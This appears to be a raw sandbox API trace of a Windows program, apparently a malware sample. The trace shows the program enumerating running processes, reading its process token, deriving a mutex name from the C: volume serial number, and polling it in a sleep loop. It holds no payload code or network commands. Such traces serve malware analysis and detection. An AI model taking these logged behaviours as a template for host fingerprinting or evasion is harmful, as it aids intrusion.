th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.214] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.214] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.215] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.216] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.216] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0076.217] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.217] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.218] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0076.219] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0076.219] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0076.220] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.220] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0076.221] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0076.222] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expensesknowpolicies.exe")) returned 1 [0076.222] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="york-singing.exe")) returned 1 [0076.223] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno charges.exe")) returned 1 [0076.224] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impression.exe")) returned 1 [0076.224] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensboro-revealed.exe")) returned 1 [0076.225] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="range-hayes-pot.exe")) returned 1 [0076.225] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pilot-liverpool-black.exe")) returned 1 [0076.226] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gammafin.exe")) returned 1 [0076.226] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pope.exe")) returned 1 [0076.227] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operates.exe")) returned 1 [0076.228] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dynamics.exe")) returned 1 [0076.228] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="congratulations.exe")) returned 1 [0076.230] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="employer.exe")) returned 1 [0076.231] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="paypal_drunk.exe")) returned 1 [0076.231] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="italian french participants.exe")) returned 1 [0076.232] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bruceanalytical.exe")) returned 1 [0076.232] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="firefoxguess.exe")) returned 1 [0076.233] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="legally notified.exe")) returned 1 [0076.234] Process32NextW (hSnapshot=0x104, lppe=0x10ff79c) Thread: id = 14 os_tid = 0x364 [0051.965] GetVersion () returned 0x1db10106 [0051.965] GetCurrentProcess () returned 0xffffffff [0051.965] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0xe6f874 | out: TokenHandle=0xe6f874*=0x13c) returned 1 [0051.965] GetTokenInformation (in: TokenHandle=0x13c, TokenInformationClass=0x14, TokenInformation=0xe6f86c, TokenInformationLength=0x4, ReturnLength=0xe6f870 | out: TokenInformation=0xe6f86c, ReturnLength=0xe6f870) returned 1 [0051.965] CloseHandle (hObject=0x13c) returned 1 [0051.965] GetProcessHeap () returned 0x730000 [0051.965] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x749dc8 [0051.965] GetProcessHeap () returned 0x730000 [0051.965] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x749da0 [0051.965] GetProcessHeap () returned 0x730000 [0051.965] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x749ee0 [0051.966] GetProcessHeap () returned 0x730000 [0051.966] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.966] GetProcessHeap () returned 0x730000 [0051.966] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.966] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x749da0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0051.966] GetProcessHeap () returned 0x730000 [0051.966] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749ee0 | out: hHeap=0x730000) returned 1 [0051.966] GetProcessHeap () returned 0x730000 [0051.966] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749dc8 | out: hHeap=0x730000) returned 1 [0051.966] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe6f7fc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe6f7fc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0051.966] GetProcessHeap () returned 0x730000 [0051.966] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749da0 | out: hHeap=0x730000) returned 1 [0051.966] GetProcessHeap () returned 0x730000 [0051.966] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x7441a8 [0051.966] GetProcessHeap () returned 0x730000 [0051.966] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3a) returned 0x7441f0 [0051.966] GetProcessHeap () returned 0x730000 [0051.966] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7441f0, Size=0x72) returned 0x73f9a0 [0051.966] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x13c [0051.966] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x0) returned 0x102 [0051.966] CloseHandle (hObject=0x13c) returned 1 [0051.966] GetProcessHeap () returned 0x730000 [0051.967] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7441a8 | out: hHeap=0x730000) returned 1 [0051.967] GetProcessHeap () returned 0x730000 [0051.967] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73f9a0 | out: hHeap=0x730000) returned 1 [0051.967] Sleep (dwMilliseconds=0x3e8) [0054.527] GetProcessHeap () returned 0x730000 [0054.527] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x74a0c0 [0054.527] GetProcessHeap () returned 0x730000 [0054.527] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x74a0e8 [0054.527] GetProcessHeap () returned 0x730000 [0054.527] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x74a110 [0054.527] GetProcessHeap () returned 0x730000 [0054.527] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x754f50 [0054.527] GetProcessHeap () returned 0x730000 [0054.527] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x754f50 | out: hHeap=0x730000) returned 1 [0054.527] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x74a0e8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0054.527] GetProcessHeap () returned 0x730000 [0054.527] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a110 | out: hHeap=0x730000) returned 1 [0054.527] GetProcessHeap () returned 0x730000 [0054.527] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a0c0 | out: hHeap=0x730000) returned 1 [0054.527] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe6f7fc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe6f7fc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0054.528] GetProcessHeap () returned 0x730000 [0054.528] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a0e8 | out: hHeap=0x730000) returned 1 [0054.528] GetProcessHeap () returned 0x730000 [0054.528] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x7440d0 [0054.528] GetProcessHeap () returned 0x730000 [0054.528] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3a) returned 0x744118 [0054.528] GetProcessHeap () returned 0x730000 [0054.528] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x744118, Size=0x72) returned 0x73fa20 [0054.528] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b4 [0054.528] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0x0) returned 0x102 [0054.528] CloseHandle (hObject=0x1b4) returned 1 [0054.528] GetProcessHeap () returned 0x730000 [0054.528] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7440d0 | out: hHeap=0x730000) returned 1 [0054.528] GetProcessHeap () returned 0x730000 [0054.528] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73fa20 | out: hHeap=0x730000) returned 1 [0054.528] Sleep (dwMilliseconds=0x3e8) [0056.055] GetProcessHeap () returned 0x730000 [0056.055] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x74a1b0 [0056.055] GetProcessHeap () returned 0x730000 [0056.056] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x74a1d8 [0056.056] GetProcessHeap () returned 0x730000 [0056.056] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x2ef48d0 [0056.056] GetProcessHeap () returned 0x730000 [0056.056] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x82fce8 [0056.056] GetProcessHeap () returned 0x730000 [0056.056] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x82fce8 | out: hHeap=0x730000) returned 1 [0056.056] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x74a1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0056.056] GetProcessHeap () returned 0x730000 [0056.056] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef48d0 | out: hHeap=0x730000) returned 1 [0056.056] GetProcessHeap () returned 0x730000 [0056.056] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a1b0 | out: hHeap=0x730000) returned 1 [0056.056] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe6f7fc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe6f7fc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0056.056] GetProcessHeap () returned 0x730000 [0056.056] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a1d8 | out: hHeap=0x730000) returned 1 [0056.056] GetProcessHeap () returned 0x730000 [0056.056] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x7440d0 [0056.056] GetProcessHeap () returned 0x730000 [0056.056] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3a) returned 0x744118 [0056.056] GetProcessHeap () returned 0x730000 [0056.056] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x744118, Size=0x72) returned 0x73fa20 [0056.056] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1bc [0056.057] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x0) returned 0x102 [0056.057] CloseHandle (hObject=0x1bc) returned 1 [0056.057] GetProcessHeap () returned 0x730000 [0056.057] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7440d0 | out: hHeap=0x730000) returned 1 [0056.057] GetProcessHeap () returned 0x730000 [0056.057] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73fa20 | out: hHeap=0x730000) returned 1 [0056.057] Sleep (dwMilliseconds=0x3e8) [0059.306] GetProcessHeap () returned 0x730000 [0059.306] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x74a1d8 [0059.306] GetProcessHeap () returned 0x730000 [0059.306] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x74a1b0 [0059.306] GetProcessHeap () returned 0x730000 [0059.306] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x2ef48d0 [0059.306] GetProcessHeap () returned 0x730000 [0059.306] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x82fcf8 [0059.306] GetProcessHeap () returned 0x730000 [0059.306] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x82fcf8 | out: hHeap=0x730000) returned 1 [0059.306] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x74a1b0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0059.306] GetProcessHeap () returned 0x730000 [0059.306] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef48d0 | out: hHeap=0x730000) returned 1 [0059.306] GetProcessHeap () returned 0x730000 [0059.306] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a1d8 | out: hHeap=0x730000) returned 1 [0059.306] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe6f7fc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe6f7fc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0059.306] GetProcessHeap () returned 0x730000 [0059.306] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a1b0 | out: hHeap=0x730000) returned 1 [0059.306] GetProcessHeap () returned 0x730000 [0059.306] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x7440d0 [0059.307] GetProcessHeap () returned 0x730000 [0059.307] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3a) returned 0x744118 [0059.307] GetProcessHeap () returned 0x730000 [0059.307] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x744118, Size=0x72) returned 0x73fa20 [0059.307] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1cc [0059.307] WaitForSingleObject (hHandle=0x1cc, dwMilliseconds=0x0) returned 0x102 [0059.307] CloseHandle (hObject=0x1cc) returned 1 [0059.307] GetProcessHeap () returned 0x730000 [0059.307] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7440d0 | out: hHeap=0x730000) returned 1 [0059.307] GetProcessHeap () returned 0x730000 [0059.307] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73fa20 | out: hHeap=0x730000) returned 1 [0059.307] Sleep (dwMilliseconds=0x3e8) [0061.768] GetProcessHeap () returned 0x730000 [0061.768] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x74a1b0 [0061.768] GetProcessHeap () returned 0x730000 [0061.768] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x74a1d8 [0061.768] GetProcessHeap () returned 0x730000 [0061.768] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x2ef48d0 [0061.768] GetProcessHeap () returned 0x730000 [0061.768] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x82fc60 [0061.768] GetProcessHeap () returned 0x730000 [0061.768] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x82fc60 | out: hHeap=0x730000) returned 1 [0061.768] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x74a1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0061.768] GetProcessHeap () returned 0x730000 [0061.768] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef48d0 | out: hHeap=0x730000) returned 1 [0061.768] GetProcessHeap () returned 0x730000 [0061.768] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a1b0 | out: hHeap=0x730000) returned 1 [0061.768] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe6f7fc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe6f7fc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0061.769] GetProcessHeap () returned 0x730000 [0061.769] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a1d8 | out: hHeap=0x730000) returned 1 [0061.769] GetProcessHeap () returned 0x730000 [0061.769] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x7440d0 [0061.769] GetProcessHeap () returned 0x730000 [0061.769] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3a) returned 0x744118 [0061.769] GetProcessHeap () returned 0x730000 [0061.769] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x744118, Size=0x72) returned 0x73fa20 [0061.769] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c0 [0061.769] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x0) returned 0x102 [0061.769] CloseHandle (hObject=0x1c0) returned 1 [0061.769] GetProcessHeap () returned 0x730000 [0061.769] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7440d0 | out: hHeap=0x730000) returned 1 [0061.769] GetProcessHeap () returned 0x730000 [0061.769] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73fa20 | out: hHeap=0x730000) returned 1 [0061.769] Sleep (dwMilliseconds=0x3e8) [0063.889] GetProcessHeap () returned 0x730000 [0063.889] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x74a1d8 [0063.889] GetProcessHeap () returned 0x730000 [0063.889] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x74a1b0 [0063.889] GetProcessHeap () returned 0x730000 [0063.889] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x2ef48d0 [0063.889] GetProcessHeap () returned 0x730000 [0063.889] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x82fcf8 [0063.889] GetProcessHeap () returned 0x730000 [0063.889] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x82fcf8 | out: hHeap=0x730000) returned 1 [0063.889] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x74a1b0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0063.889] GetProcessHeap () returned 0x730000 [0063.889] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef48d0 | out: hHeap=0x730000) returned 1 [0063.889] GetProcessHeap () returned 0x730000 [0063.889] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a1d8 | out: hHeap=0x730000) returned 1 [0063.889] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe6f7fc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe6f7fc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0063.890] GetProcessHeap () returned 0x730000 [0063.890] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a1b0 | out: hHeap=0x730000) returned 1 [0063.890] GetProcessHeap () returned 0x730000 [0063.890] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x7440d0 [0063.890] GetProcessHeap () returned 0x730000 [0063.890] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3a) returned 0x744118 [0063.890] GetProcessHeap () returned 0x730000 